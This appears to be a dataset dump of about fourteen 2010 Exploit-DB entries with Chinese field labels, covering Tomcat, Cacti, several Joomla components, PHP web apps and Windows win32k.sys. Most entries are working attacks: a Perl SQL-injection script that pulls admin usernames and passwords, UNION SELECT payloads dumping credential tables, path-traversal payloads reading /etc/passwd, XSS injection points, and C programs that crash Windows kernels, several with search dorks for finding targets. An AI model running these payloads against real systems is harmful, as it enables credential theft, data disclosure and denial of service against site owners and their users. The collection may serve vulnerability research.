QLWD/code_shield huggingface dataset:
标题: Apache Tomcat 5.5.0 < 5.5.29 / 6.0.0 < 6.0.26 - Information Disclosure EDB-ID: 12343 CVE: 2010-1157 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-04-22 漏洞利用脚本: CVE-2010-1157: Apache Tomcat information disclosure vulnerability

Severity: Low

Vendor: The Apache Software Foundation

Versions Affected:

- - Tomcat 6.0.0 to 6.0.26

- - Tomcat 5.5.0 to 5.5.29

Note: The unsupported Tomcat 3.x, 4.x and 5.0.x versions may also be
affected.


Description:

The "WWW-Authenticate" header for BASIC and DIGEST authentication includes a
realm name. If a <realm-name> element is specified for the application in
web.xml it will be used. However, a <realm-name> is not specified then
Tomcat will generate one using the code snippet:

request.getServerName() + ":" + request.getServerPort() In some
circumstances this can expose the local hostname or IP address of the
machine running Tomcat.

Example:

GET /application/j_security_check HTTP/1.0


HTTP/1.1 401 Unauthorized

Server: Apache-Coyote/1.1

WWW-Authenticate: Basic realm="tomcat01:8080"

Content-Type: text/html;charset=utf-8

Content-Length: 954

Date: Thu, 31 Dec 2009 12:18:11 GMT

Connection: close


Mitigation:

Administrators of web applications that use BASIC or DIGEST authentication
are recommended to set an appropriate realm name in the web application's
web.xml file.

Alternatively, the following patches may be used to change the default realm
to "Authentication required" (without the quotes):

- - Tomcat 6.0.x: http://svn.apache.org/viewvc?view=rev&rev=936540

- - Tomcat 5.5.x: http://svn.apache.org/viewvc?view=rev&rev=936541

These patches will be included in the next releases of Tomcat 5.5.x and
Tomcat 6.0.x. No release date has been set for the next Tomcat 5.5.x and
Tomcat 6.0.x releases.


Credit:

This issue was discovered by Deniz Cevik.


References:

http://tomcat.apache.org/security.html

http://tomcat.apache.org/security-6.html

http://tomcat.apache.org/security-5.html URL: https://www.exploit-db.com/exploits/12343
标题: NKINFOWEB - SQL Injection EDB-ID: 12354 CVE: 2010-1599 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-23 漏洞利用脚本: # Software Link: http://jaist.dl.sourceforge.net/project/nkinfoweb/FunctionNkinfoweb_v.species.rar
# Tested on: several linux versions

#=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

 

#!/usr/bin/perl
 use strict;
 use LWP::Simple;

print "\n";  
print "##############################################################\n";  
print "# NKINFOWEB SQL INJECTION EXPLOIT                            #\n";  
print "# Author: d4rk-h4ck3r  (Tunisian Security Team)              #\n";  
print "# Greetz to Passeword & Maxilog & all vbspiders members      #\n"; 
print "# Dork: Powered by NKINFOWEB VSp © 2009                      #\n";
print "##############################################################\n";  

 my $domain = shift @ARGV or banner();
 my $injsql ="/loadorder.php?id_sp=-17+union+select+1,2,3,concat(0x3a3a3a,id_usersys,0x3a,usersys,0x3a,pwdsys,0x3a3a3a),5,6,7,8,9,10,11+from+usersys--";

 if(get($domain.$injsql) =~ /:::(.+):(.+):(.+):::/)
 {
   print "\n[+] Exploit Succesfull!";
   print "\n[+] Admin id: : $1";  
   print "\n[+] Admin username: $2";  
   print "\n[+] Admin password: $3";
   print "\n[+] Admin panel: $domain/administrator/ ";}
 else
 {
   print "[!] Exploit Failed!\n";
   print "[!] Site Not Vulnerable!\n";
 }

 sub banner
 {
   print "[+] NKINFOWEB <= Remote SQL Injection Exploit\n";
   print "[+] Usage: ${0} http://[host]\n";
   return exit;
 } URL: https://www.exploit-db.com/exploits/12354
标题: phpGreetCards 3.7 - Cross-Site Scripting EDB-ID: 12345 CVE: 2008-6848 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-22 漏洞利用脚本: [:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = phpGreetCards XSS Vulnerabilities
Author = Valentin Hoebel
Contact = valentin@xenuser.org

 
[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = phpGreetCards
Vendor = W2B
Vendor Website = http://www.w2bpm.com/
Affected Version(s) = 3.7


[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> #1 Vulnerability
Multiple XSS possibilities on multiple parameters, e.g. when creating an ecard:

index.php?mode=select&category=XX&card[image]=XX&card[sender_name]=~XSS~&card[sender_email]=XX&card[recip_name]=~XSS~&card[recip_email]=XX&card[stamp]=XX&card[bg]=%23B8C2C9&card[font_color]=%23A2ABB1&card[category]=XX&PHPSESSID=XX


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 22.04.2010


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz && Thanks = inj3ct0r team, Exploit DB, hack0wn and ExpBase!


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::] URL: https://www.exploit-db.com/exploits/12345
标题: AJ Matrix 3.1 - 'id' Multiple SQL Injections EDB-ID: 12346 CVE: 2009-2779 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-22 漏洞利用脚本: )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
          .WEB.ID
-----------------------------------------------------------------------
        AJ Matrix v3.1 (id) Multiple SQL Injection Vulnerability
-----------------------------------------------------------------------
Author   : v3n0m
Site     : http://yogyacarderlink.web.id/
Date  : April, 23-2010
Location : Jakarta, Indonesia
Time Zone : GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : AJ Matrix DNA
Vendor   : http://www.ajsquare.com/
Price  : $2499.00 USD
Version  : 3.1 Other versions may also be affected
Google Dork : Use your brain & imagination :)

AJ Matrix DNA is the world's leading MLM software solution for all MLM and affiliate programs. 
Offering the quality software packages at a fraction of the cost. Our Matrix DNA Software is 
the right solution for any sized business.
----------------------------------------------------------------

Exploit:
~~~~~~~

-99999+union+all+select+0,0,group_concat(admin_username,char(58),admin_password)v3n0m,0,0+from+ajmatrix_admin_table--

-99999+union+all+select+0,0,group_concat(members_username,char(58),members_password)v3n0m,0,0+from+ajmatrix_members_table--


SQLi p0c:
~~~~~~~

http://127.0.0.1/[path]/?do=cms&action=news&id=[SQLi]


Blind SQLi p0c:
~~~~~~~

http://127.0.0.1/[path]/?do=productdetail&id=1+AND+SUBSTRING(@@version,1,1)=5 << true
http://127.0.0.1/[path]/?do=productdetail&id=1+AND+SUBSTRING(@@version,1,1)=4 << false
----------------------------------------------------------------

Shoutz:
~~~~

- LeQhi,lingah,GheMaX,spykit,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi-
- setanmuda,oche_an3h,onez,Joglo,d4rk_kn19ht,Cakill Schumbag
- kiddies,whitehat,c4uR [gw suka martabak keju ur...],mywisdom,yadoy666,udhit
- BLaSTER & TurkGuvenligi & Agd_scorp (Turkey Hackers)
- elicha cristia [Mizz You...Mizz You...Mizz You... :)]
- N.O.C & Technical Support @office
- #yogyacarderlink @irc.dal.net
----------------------------------------------------------------
Contact:
~~~~

v3n0m | YOGYACARDERLINK CREW | v3n0m666[0x40]live[0x2E]com
Homepage: http://yogyacarderlink.web.id/
   http://v3n0m.blogdetik.com/
   http://elich4.blogspot.com/ << Update donk >_<

---------------------------[EOF]-------------------------------- URL: https://www.exploit-db.com/exploits/12346
标题: Cacti 0.8.7e - SQL Injection EDB-ID: 12338 CVE: 2010-1431 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-22 漏洞利用脚本: CVSSv2 Score: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)
A Vulnerability has been discovered in Cacti, which can be exploited by any
user to conduct SQL Injection attacks.
Input passed via the “export_item_id” parameter to “templates_export.php”
script is not properly sanitized before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL
code.
The following is a Proof of Concept POST request:
POST /cacti-0.8.7e/templates_export.php HTTP/1.1
Host: 192.168.1.107
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://192.168.1.107/cacti-0.8.7e/templates_export.php
Cookie: Cacti=563bb99868dfa24cc70982bf80c5c03e
Content-Type: application/x-www-form-urlencoded
Content-Length: 130
export_item_id=18 and 1=1&include_deps=on&output_format=3&export_type=graph_template&save_component_export=1&action=save&x=24&y=12

===========================================================================
Download:
===========================================================================
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/12338.pdf (Bonsai-SQL_Injection_in_Cacti.pdf)


<Bonsai Information Security Advisories>
http://www.bonsai-sec.com/en/research/vulnerability.php URL: https://www.exploit-db.com/exploits/12338
标题: Microsoft Windows XP/2000/2003 - 'win32k.sys' SfnLOGONNOTIFY Local kernel Denial of Service EDB-ID: 12336 CVE: 2010-1894 2010-1735 类型: DOS 平台: WINDOWS 发布日期: 2010-04-22 漏洞利用脚本: /*
Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY local kernel Denial of Service Vulnerability 

Effect : Microsoft Windows 2000/XP/2003 full patch 


Author:MJ0011
Published: 2010-04-22


Vulnerability Details: 

Win32k.sys in DispatchMessage when the last call to xxxDefWindowProc, this function in dealing with some 
Message, will call gapfnScSendMessage this function table function to process, which under the deal 2000/xp/2003 
0x4c No. message, there will be a function called SfnLOGONNOTIFY, this function again when the wParam == 4/13/12 
When the data directly from the lParam inside out, despite the use of the function of the SEH, but as long as the kernel passes the wrong address, will still lead to 
BSOD 

Pseudo-code: 

if (wParam == 4 | | wParam == 13 | | wParam == 12) 
( 
    v18 = * (_DWORD *) lParam; 
    v19 = * (_DWORD *) (lParam 4); 
    v20 = * (_DWORD *) (lParam 8); 
    v21 = * (_DWORD *) (lParam 12); 
*/

//Exploit code: 

# Include "stdafx.h" 
# Include "windows.h" 
int main (int argc, char * argv []) 
( 
printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy MJ0011\nth_decoder@126.com\nPressEnter");

getchar();

HWND hwnd = FindWindow ("DDEMLEvent", NULL); 

if (hwnd == 0) 
( 
   printf ("cannot find DDEMLEvent Window! \ n"); 
   return 0; 
) 

PostMessage (hwnd, 0x4c, 0x4, 0x80000000); 


return 0; 
) 

Common crash stack: 

kd> kc 

win32k! SfnLOGONNOTIFY 
win32k! xxxDefWindowProc 
win32k! xxxEventWndProc 
win32k! xxxDispatchMessage 
win32k! NtUserDispatchMessage 
/*
.... 

Windows 7/Vista no such problem 

Thanks: 

Thanks to my colleagues LYL to help me discovered this vulnerability 



th_decoder
2010-04-22
*/ URL: https://www.exploit-db.com/exploits/12336
标题: Microsoft Windows XP/2000/2003 - 'win32k.sys' SfnINSTRING Local kernel Denial of Service EDB-ID: 12337 CVE: 2010-1734 类型: DOS 平台: WINDOWS 发布日期: 2010-04-22 漏洞利用脚本: /*
Windows 2000/XP/2003 win32k.sys SfnINSTRING local kernel Denial of Service Vulnerability 

Effect : Microsoft Windows 2000/XP/2003 full patch 


Author:MJ0011
Published: 2010-04-22


Vulnerability Details: 


Win32k.sys in DispatchMessage when the last call to xxxDefWindowProc, this function in dealing with some 
Message, will call gapfnScSendMessage this function table function to process,
which under the deal 2000/xp/2003 0x4c No. message, there will be SfnINSTRING function called this function when the lParam is not empty, 
direct that the lParam is a memory pointer, and pull data directly from the address
despite the use of the function of the SEH, but as long as the kernel address transmission errors will still cause the system BSOD 
*/

//Exploit code: 

# Include "stdafx.h" 
# Include "windows.h" 
int main (int argc, char * argv []) 
( 
printf("Microsoft Windows Win32k.sys SfnINSTRING Local D.O.S Vuln\nBy MJ0011\nth_decoder$126.com\nPressEnter");

getchar();

HWND hwnd = FindWindow ("DDEMLEvent", NULL); 

if (hwnd == 0) 
( 
printf ("cannot find DDEMLEvent Window! \ n"); 
return 0; 
) 

PostMessage (hwnd, 0x18d, 0x0, 0x80000000); 


return 0; 
) 

/*

Common crash stack: 

kd> kc 

win32k! SfnINSTRING 
win32k! xxxDefWindowProc 
win32k! xxxEventWndProc 
win32k! xxxDispatchMessage 
win32k! NtUserDispatchMessage 
.... 

Windows 7/Vista no such problem 

Thanks: 

Thanks to my colleagues LYL to help me discovered this vulnerability 




th_decoder
2010-04-22
*/ URL: https://www.exploit-db.com/exploits/12337
标题: Joomla! Component OrgChart 1.0.0 - Local File Inclusion EDB-ID: 12317 CVE: 2010-1878 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-21 漏洞利用脚本: ==============================================================================================================


  [o] Joomla Component OrgChart Local File Inclusion Vulnerability
 
       Software : com_orgchart version 1.0.0
       Vendor   : http://blueflyingfish.no-ip.biz/orgchart/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


==============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_orgchart&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_orgchart&controller=../../../../../../../../../../etc/passwd%00


==============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


==============================================================================================================


  [o] April 21 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12317
标题: cms (id) 5.0 - SQL Injection EDB-ID: 12333 CVE: 2009-2439 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-22 漏洞利用脚本: -----------------------------------------------------------------------
CmS (id) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author : spykit
Site : http://devilzc0de.org/
Date : April, 22-2010
Location : Jakarta, Indonesia
Time Zone : GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : CmS
Vendor : http://hotsweb.com
Price : free
Version : version 5.0
Google Dork: allinurl: Category.php?IndustrYID=
---------------------------------------------------------------

Exploitz:
~~~~~~~

union all select
1,2,concat_ws(0x3a,LoginID,Password,AdminEmail,AdminEmailPassword) from
admin--


SQLi p0c:
~~~~~~~

http://127.0.0.1/[path]/category.php?IndustryID=[SQLI]
----------------------------------------------------------------

Shoutz:
~~~~

- 'oH lawd !! Malingsial lame forum g0t hacked for second times by
Us,lulz...'
-
LeQhi,lingah,GheMaX,v3n0m,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi-
- setanmuda,oche_an3h,onez,Joglo,d4rk_kn19ht,Cakill Schumbag
- kiddies,whitehat,c4uR,xtr0nic,adwisatya, and all member crew devilzc0de...
-hendri_note: jgn suka ngambek kang malu sama umur.. bruakkakaka
- #devilzc0de @irc.dal.net
----------------------------------------------------------------
Contact:
~~~~

spykit | devilzc0de CREW | daniel_sapuleka@yahoo.com
Homepage: http://devilzc0de.org

---------------------------[EOF]-------------------------------- URL: https://www.exploit-db.com/exploits/12333
标题: Joomla! Component MMS Blog 2.3.0 - Local File Inclusion EDB-ID: 12318 CVE: 2010-1491 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-21 漏洞利用脚本: =============================================================================================================


  [o] Joomla Component MMS Blog Local File Inclusion Vulnerability
 
       Software : com_mmsblog version 2.3.0
       Vendor   : http://mms.pipp.no/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_mmsblog&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_mmsblog&controller=../../../../../../../../../../etc/passwd%00


=============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


=============================================================================================================


  [o] April 21 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12318
标题: wb news (webmobo) 2.3.3 - Persistent Cross-Site Scripting EDB-ID: 12323 CVE: 2010-1712 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-21 漏洞利用脚本: #####################################################################################
#Title:             WB News (Webmobo) 2.3.3 Stored XSS                              #
#Vendor:            http://www.webmobo.org/                                         #
#####################################################################################
#AUTHOR:            ITSecTeam                                                       #
#Email:             Bug@ITSecTeam.com                                               #
#Website:           http://www.itsecteam.com                                        #
#Forum :            http://forum.ITSecTeam.com                                      #
#Original Advisory: www.ITSecTeam.com/en/vulnerabilities/vulnerability44.htm        #
#Thanks:            r3dm0v3 [r3dm0v3_at_ymail.com], Pejvak, am!rkh@n                #
#####################################################################################

#DESCRIPTION (by vendor):############################################################
WB News is a PHP news management system which requires MySQL/PostgreSQL database. 
The system is meant for quick and easy build to integrate news into an existing 
site or used as a framework with many systems such as Authentication, Template Engine, 
Database Abstration and more. 

#BUG:################################################################################
file /base/Comments.php:
 85: foreach ( $comments as $comment )
 86: {
 87:  $rows[] = array(
 88:   "message" => nl2br( textWrap( htmlspecialchars( filter( $comment["message"] ) ) ) ),
 89:   "name" => NULL != $comment["postname"] ? $comment["postname"] : $comment["name"], //<---vulnerable line
 90:   "date" => tz_date( Configuration::getInstance()->getOption("dateFormat"), $comment["timeposted"] )
 91:   );
 92: }

file /templates/default/list-comments.ihtml:
 17:  <td><strong><?php echo __("Posted By") ?>:</strong> <?php echo $r["name"] ?> On: <?php echo $r["date"] ?></td>


Comment sender's name is not filtered and is sent to browser!


#EXPLOIT:############################################################################
goto comments and post any script as comment sender's name! URL: https://www.exploit-db.com/exploits/12323
标题: Joomla! Component WMI 1.5.0 - Local File Inclusion EDB-ID: 12316 CVE: 2010-1607 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-21 漏洞利用脚本: ================================================================================================

 Title    : Joomla Component wmi (com_wmi) LFI Vulnerability
 Vendor   : http://www.paysyspro.com/
 Download : http://www.paysyspro.com/jotloader/files.download/3

 Date     : Sunday, 21 April 2010 - GMT +07:00 Jakarta, Indonesia
 Author   : wishnusakti + inc0mp13te (HH)
 Contact  : evileyes60117[at]yahoo.com

 ================================================================================================

 [+] Vulnerable

     ./components/com_wmi/wmi.php

     // Require specific controller if requested
 if($controller = JRequest::getVar( 'controller' )) {
     require_once( JPATH_COMPONENT.DS.'controllers'.DS.$controller.'.php' );
 }


 [+] Exploit

     http://[site]/[path]/index.php?option=com_wmi&controller=[LFI]

 [+] PoC

     http://localhost/index.php?option=com_wmi&controller=../../../../../../../../../etc/passwd%00

 ================================================================================================

Very Special thanks :
     Penghuni #nob0dy priv8 Server
     (ander, NoGe, zxvf, kaka11, s4va, meylira, Jack, aJe, Unyil, cheche angela zhang, madonk, & BotÂ² Scan :D)
 
     en Semua Komunitas Hacking Tanah Air
     Peace Yo :)

to all my friends : mywisdom, cakill, aurell, hafiz, xco, kiddies, xshadow, gblack, petimati, 
                    cakill, krembis, biakkobar, hendri_note
        
 ================================================================================================

# ./wishnusakti URL: https://www.exploit-db.com/exploits/12316
标题: Joomla! Component Online News Paper Manager 1.0 - 'cid' SQL Injection EDB-ID: 12305 CVE: 2010-1950 2010-1949 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-20 漏洞利用脚本: /**************************************************************************

[!] Joomla com_jnewspaper (cid) SQL Injection Vulnerability
[!] Author : Don Tukulesto (root@indonesiancoder.com)
[!] Homepage : http://indonesiancoder.com
[!] Date : Tue, April 20, 2010
[!] Tune in : http://antisecradio.fm (choose your weapon)

**************************************************************************/

[ Software Information ]

[>] Vendor : http://emultisoft.net
[>] Download : http://emultisoft.net/View-document-details/3-Online-News-Paper-Manager.html
[>] Name : Online News Paper Manager
[>] Version : 
[>] License : GPL
[>] Type : Non-Commercial
[>] Method : SQL Injection

========================================================

[ Proof of Concept ]

http://server/path/index.php?option=com_jnewspaper&cid=31337

========================================================

[ Cheers ]

[>] Indonesian Coder Team - AntiSecurity - ServerIsDown - SurabayaHackerLink
[>] My brother M364TR0N - kaMtiEz - Gonzhack - El N4ck0 - ibl13Z - arianom - YaDoY666 - ./Jack-
[>] neng elv1n4 - xshadow - SAINT - Cyb3r_tr0n - M3NW5 - Pathloader - Mboys - Contrex - amxku - inj3ct0r
[>] xnitro @xtremenitro.org - DraCoola - r3m1ck - Senot - ran - CherCut - Ghambass - CyberSector 31
[>] James Brown & Todd @packetstormsecurity.org - Maksymilian & sp3x @securityreason.com

[ Notes ]

[>] WE ARE ONE UNITY, WE ARE A CODER FAMILY, AND WE ARE INDONESIAN CODER TEAM URL: https://www.exploit-db.com/exploits/12305